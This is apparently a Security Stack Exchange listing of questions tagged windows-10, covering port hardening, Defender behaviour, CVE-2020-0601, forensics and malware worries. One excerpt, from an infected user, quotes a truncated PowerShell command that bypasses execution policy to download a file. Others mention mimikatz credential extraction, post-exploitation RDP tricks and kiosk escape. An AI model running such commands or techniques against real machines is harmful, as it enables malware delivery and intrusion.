Questions tagged [windows-10]
An operating system developed by Microsoft released July 2015 and designed to run across devices with multiple form factors - PC, tablet, smartphone, Xbox and HoloLens.
275
questions
1
vote
1answer
78 views
What ports should be closed in windows 10?
How can I close ports in windows 10 and what ports are unnecessary to be open? How do I find these open ports to close?
Also if I close a specific port on windows 10 do I have to close the outbound ...
1
vote
1answer
95 views
How exactly does Windows Defender in Windows 10 determine when to upload your local files to Microsoft?
Every time I install Windows 10, I painstakingly go through every setting that can be found in any GUI setting for the OS, disabling everything that sounds creepy.
One of the most disturbing things I'...
0
votes
0answers
41 views
“Something you have” on a multi-user device - what is the opinion regarding the NIST AAL3 definition?
The NIST AAL3 specification requires
In order to authenticate at AAL3, claimants SHALL prove possession and
control of two distinct authentication factors through secure
authentication ...
1
vote
0answers
37 views
Why did something on my Win10 machine try to fetch a Windows patch-looking EXE from localhost today? (UPDATED)
[Tue Feb 11 10:37:00 2020] 127.0.0.1:49951 [404]: (null) /c/msdownload/update/software/defu/2020/02/am_delta_patch_1.309.678.0_2ed0992bc429bfc321a0209f24dcd8912733a2a5.exe - No such file or directory
...
0
votes
0answers
117 views
Why is DNS apparently involved in typing “dir” on Windows 10? [migrated]
For complicated reasons, I have been forced to make an identical copy of cmd.exe and rename it to cmd-2.exe, which I put a shortcut to in the Taskbar. The reason is purely to have them "grouped" in ...
1
vote
0answers
60 views
How should I install Kali Linux on my Windows 10?
I'm using Windows 10. I found several ways to install Kali Linux on Win10:
Install it on VMWare
Install it on Docker
Install it on Linux subsystem (WSL)
I might need to access some files in my ...
0
votes
0answers
59 views
Mimikatz Windows 10 password recovery
I'm trying to log into my Windows 10 laptop that was using a Microsoft login. I used to mimikatz to retrieve the SAMkey, LSA secret, dpapi, System masterkeys, and the password hash but it's the ...
1
vote
1answer
56 views
Secure Windows 10 Home admin's data behind a password, even when user apps are running
Windows 10 Home's default account lock system for the admin account is not completely secure because there are multiple free password recovery tools & ways available that can be used by a non-...
2
votes
1answer
69 views
Can somebody straighten my (hopefully) confusion about USB device security in Windows once and for all?
Am I really understanding things correctly if I claim that:
If an USB stick/device is inserted into a PC running Windows, currently in "lock screen" mode (that is, somebody has pressed WinKey + L), ...
0
votes
0answers
43 views
Is it safe to use cmdkey to store credentials?
In this question I saw that you can use command key to store credentials and then just run a command like mstsc /v:servername to connect to it without typing anything.
Additionally, you can delete it ...
1
vote
1answer
77 views
Does a lack of verified signatures for Windows Defender indicate malware?
I ran "autoruns" from Windows Sysinternals on a Windows 10 machine, and noticed that the Windows Defender services were marked in red colour, and did not have verified signatures. I checked these ...
0
votes
1answer
55 views
Dealing with File Permissions from a Virtual Machine - Forensic Logical Acquisition
I am currently in the middle of operating an analysis on Autopsy of a virtual machine (VMware) that has been hacked. I have mounted the VM and I am acquiring the evidence from VMware to my physical ...
1
vote
0answers
67 views
Why does Volatility fail on windows 10 dumps and what other tools can I use? [closed]
So I am trying to extract data from a full memory dump (Made with either dumpit or a BSOD). WinDBG manages to extract some information from it, but Volatility is silent:
PS F:\> C:\Python27\python....
0
votes
1answer
98 views
CVE-2020-0601 (CRYPT32.DLL exploit) standalone patch? [duplicate]
Is there any standalone patch for CVE-2020-0601 (CRYPT32.DLL exploit) besides installing Windows 10 latest cumulative update?
Or is there other ways to mitigate this exploit, when immediate ...
9
votes
1answer
203 views
How does CVE-2020-0601 (ChainOfFools/CurveBall) work to undermine ECC?
What is the recently patched and disclosed Windows 10 OS family Crypt.dll vulnerability CVE-2020-0601, nicknamed ChainOfFools and/or Curveball? I've read up on it and while I understand the basics (...
0
votes
1answer
157 views
Show confirmation popup before running any downloaded program in Windows 10
I often download files either using my browser or by torrenting. Few times, I encountered an attack where the torrented file was called something like movie.mp4.lnk and the target was set to run a ...
2
votes
1answer
240 views
How to ensure Windows 10 is safe from critical security hole reported by NSA on 2020-01-14?
All over the news today (2020-01-14) is the story that the NSA and Microsoft have reported a critical security vulnerability in Windows 10.
But I haven't been able to find clear instructions about ...
0
votes
1answer
53 views
security concerns when configuring Windows 10 to automatically log into a Microsoft account-linked user account
I have just configured my Windows 10 desktop PC at home to automatically log into my Windows 10 user account that my Microsoft account is linked to on startup. My desktop is in my bedroom upstairs and ...
0
votes
1answer
34 views
How to protect Server running on Windows 10 with Node Ngrok against attackers?
I'm running https://ngrok.com/ on Windows 10 pro with a custom app made on Node server running locally (can't be Linux) for a test suite that uses both web and desktop integrated. So I'm basically ...
0
votes
2answers
321 views
How to securely erase the free space on an SSD in windows 10?
I would like to wipe ALL free space on my SSD which Windows 10 is installed on, so that no previously deleted file can be recovered. How can I achieve this?
0
votes
0answers
84 views
Could this be considered lateral movement or is this normal activity?
Has anyone encountered this type of logon (4624 Type 3). The accounts are logging on then off within a few seconds. We are noticing this activity in the morning, which would be when they start working....
0
votes
2answers
148 views
Is it risky to download but not use a zip file?
Is there any possibility of malware infection in Windows 10 for the following three situations:
When you download a zipped file, but do not use it (you do not open it)?
When you only open a zipped ...
1
vote
2answers
111 views
why encryption result using 3 des is different between website and openssl commander?
I am working with OpenSSL using Windows 10 CMD.
I am trying to encrypt something using triple des with key coded in base64 that stored in text file (assume that plain text is:"hi all I am someone", ...
1
vote
0answers
40 views
saving entire Windows event log for auditing & preserve digital evidence
As an admin one gets tasked with configuring [Microsoft Windows 10] computers so that auditing is enabled and captures all events as required by some list that's already defined and handed down.
...
2
votes
1answer
155 views
Would my USB interface be infected if I attached and immediately detached an infected USB device?
Two days ago, someone gave me their pen drive to copy some songs from. As soon as I inserted the drive into my laptop's USB interface, Windows Defender immediately warned me that the drive was ...
1
vote
1answer
132 views
Risk of contamination when network discovery is on + file sharing password?
We use the Windows 10 file/folder sharing feature to share files between two computers (A and B) that are on the same wifi network. In this network there are several infected computers (computers C).
...
1
vote
0answers
28 views
WMI Performance Adapter function for Chrome browser?
Does someone know why the WMI Performance Adapter (WmiApSrv.exe) always starts when launching Chrome browser? Whats the function of this service?
I have heared this service can be maliciously used to ...
3
votes
0answers
89 views
Secure way to install windows 10 and winscp,notepad++,wamp on new laptop
I have a project with very critical information from business clients. I will buy a new laptop for this to manage/handle/analyze that information.
All I need is:
WAMP to run php script only on ...
-1
votes
1answer
294 views
How trustworthy is KMSpico? [closed]
KMSpico is a very common tool to crack Windows. It is considered malware by many malware/virus detection programs. Even so, it is very popular as far as I've seen.
Download links I found:
https://...
4
votes
1answer
1k views
LastPass installer scary message about sideloading
I've been using LastPass for years, generally through the original Chrome extension.
In recent months, certain features of the extension have been totally broken, such as the ability to share ...
2
votes
1answer
164 views
Why is home Windows 10 machine listening on port 8080 by default?
Ever since we upgraded one of our home windows machines to Windows 10, Kaspersky has been logging blocked network intrusion attempts over port 8080. The exploit is a strange one and tries to hit a ...
0
votes
0answers
21 views
random domain name when RDP'ing windows 10 (with rohos otp)
I'm using rohos logon key for my RDP login, and I randomly see unknown domainname prefix after I enter my otp:
is this normal when using rohos logon key?
my connection is through VPN (with separate ...
0
votes
0answers
57 views
Why is smartscreen.exe trying to create `Bob the Builder - Bob Builds a Park.exe` on my computer?
I just finished using the Sysinternals tool called procmon.exe to determine which files were being used during a program's installation. I used the procmon filters to show me only file events in a ...
6
votes
1answer
149 views
Was granting myself this permission a security risk?
In a PowerShell script in Windows 10 Pro 64, I'm getting access-denied errors on several folders, such as:
C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content....
0
votes
0answers
40 views
Windows 10 invalidated PIN for three accounts out of four
I have a Windows 10 Pro 1903 with four accounts:
two are for adult users and two for children
one adult account is admin account, three remaining are standard users accounts,
all four are Microsoft ...
0
votes
0answers
28 views
My PC opens command line and tries to download some virus [duplicate]
I have some weird virus.
During school today it opened my command line and typed this stuff in:
cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://...
1
vote
1answer
112 views
Is encrypting the FireFox folder with EFS protecting saved passwords in case of someone accessing the hard drive?
What I want to do:
Use the "save password" feature in FireFox (on Windows 10) without using FireFox's master password feature.
What I'm afraid of:
Someone stealing my laptop or getting access to my ...
2
votes
0answers
299 views
Can an Android Phone be used as a Windows Hello Security Key?
Microsoft Windows 10 does support physical security keys since some time.
Google recently announced that Android phones can be used as security keys as well (primarily for their own services).
Is ...
2
votes
1answer
100 views
Having a code-signed binary, how can I tell if it's signed with an Extended Validation (EV) certificate?
I can't seem to find an answer to this seemingly simple question. Say, on Windows, if I have a binary file:
How can I tell if it was signed with an extended validation (EV) code-signing certificate?
...
1
vote
1answer
72 views
If I use a VPN, can an enterprise proxy insert itself in the middle?
I'm using the guest Wi-Fi at a large corporation, and connecting to a commercial VPN provider via the OpenVPN client. I do not know one way or another if a proxy is used on the guest wi-fi, but I ...
3
votes
1answer
169 views
How to enable concurrent users, one RDP and one local, in post exploitation in windows without disk modification?
I want to do this by just using memory and not using disk modification or a tool, in post exploitation of a remote system, i already know how to enable RDP but the problem is when a user is logged in ...
1
vote
1answer
444 views
Difference between system uptime and last boot time in windows
As it shows in attached pictures, there is a "Difference between system uptime and last boot time" in my windows, it becomes an issue because AV, SIEM or every monitoring system shows a different time ...
2
votes
0answers
121 views
How to detect file or file system tampering
I would like to know if the following is possible:
Is it possible to detect a file that has been put into my file system using back dating? Are there any trace artifacts left behind which can help to ...
0
votes
1answer
134 views
How to sandbox students' Python 3 code submissions for automatic assignment evaluation on Windows 10?
I am the TA for a coding class in which students will have to write Python 3 scripts to solve programming problems. An assignment consists of several problems, and for each problem the student is ...
2
votes
2answers
302 views
Are there any security hazards to installing Ubutnu for Windows 10?
I only want a bash shell in Windows 10 that runs faster and doesn't have any of the quirks of git bash / MINGW64, like for instance all of that CRLF garbage.
Is there any security harm in ...
0
votes
0answers
255 views
Escaping Windows 10 Kiosk mode?
I made a very simple cloud service (cloud gaming) using Windows 10's new feature called Assigned Access then choosing an app and a user as Kiosk PC which is used for Windows Store applications. Users ...
0
votes
0answers
43 views
Url Storage, History & Personal Data
Just Curious to Know,
Where my information is being stored and how long its kept for
I'm running the latest version of windows 10,
my main Browser being firefox developer edition 68.
I clear my ...
0
votes
0answers
25 views
Does dism.log contain any sensitive information on Windows 10?
I'm looking to learn more about GPOs and powershell and when I tried to install the RSAT GPMC I received an error.
I have the log of the session in dism.log but, I'm hesitant to post it anywhere as ...
1
vote
0answers
34 views
How do you lock down a users access to ODBC settings in Windows 10?
I was working with a users computer yesterday because they complained that an MS-Access Database they were using said that an ODBC datasource was not accessible.
I went to change the settings on the ...
2
votes
1answer
84 views
Gather system metrics securely from infected VM
I intend to train an RNN on snapshots of the VM metrics to classify malware. I will, therefore, run hundreds of different pieces of malware inside that VM. It has been isolated from my host (as best ...
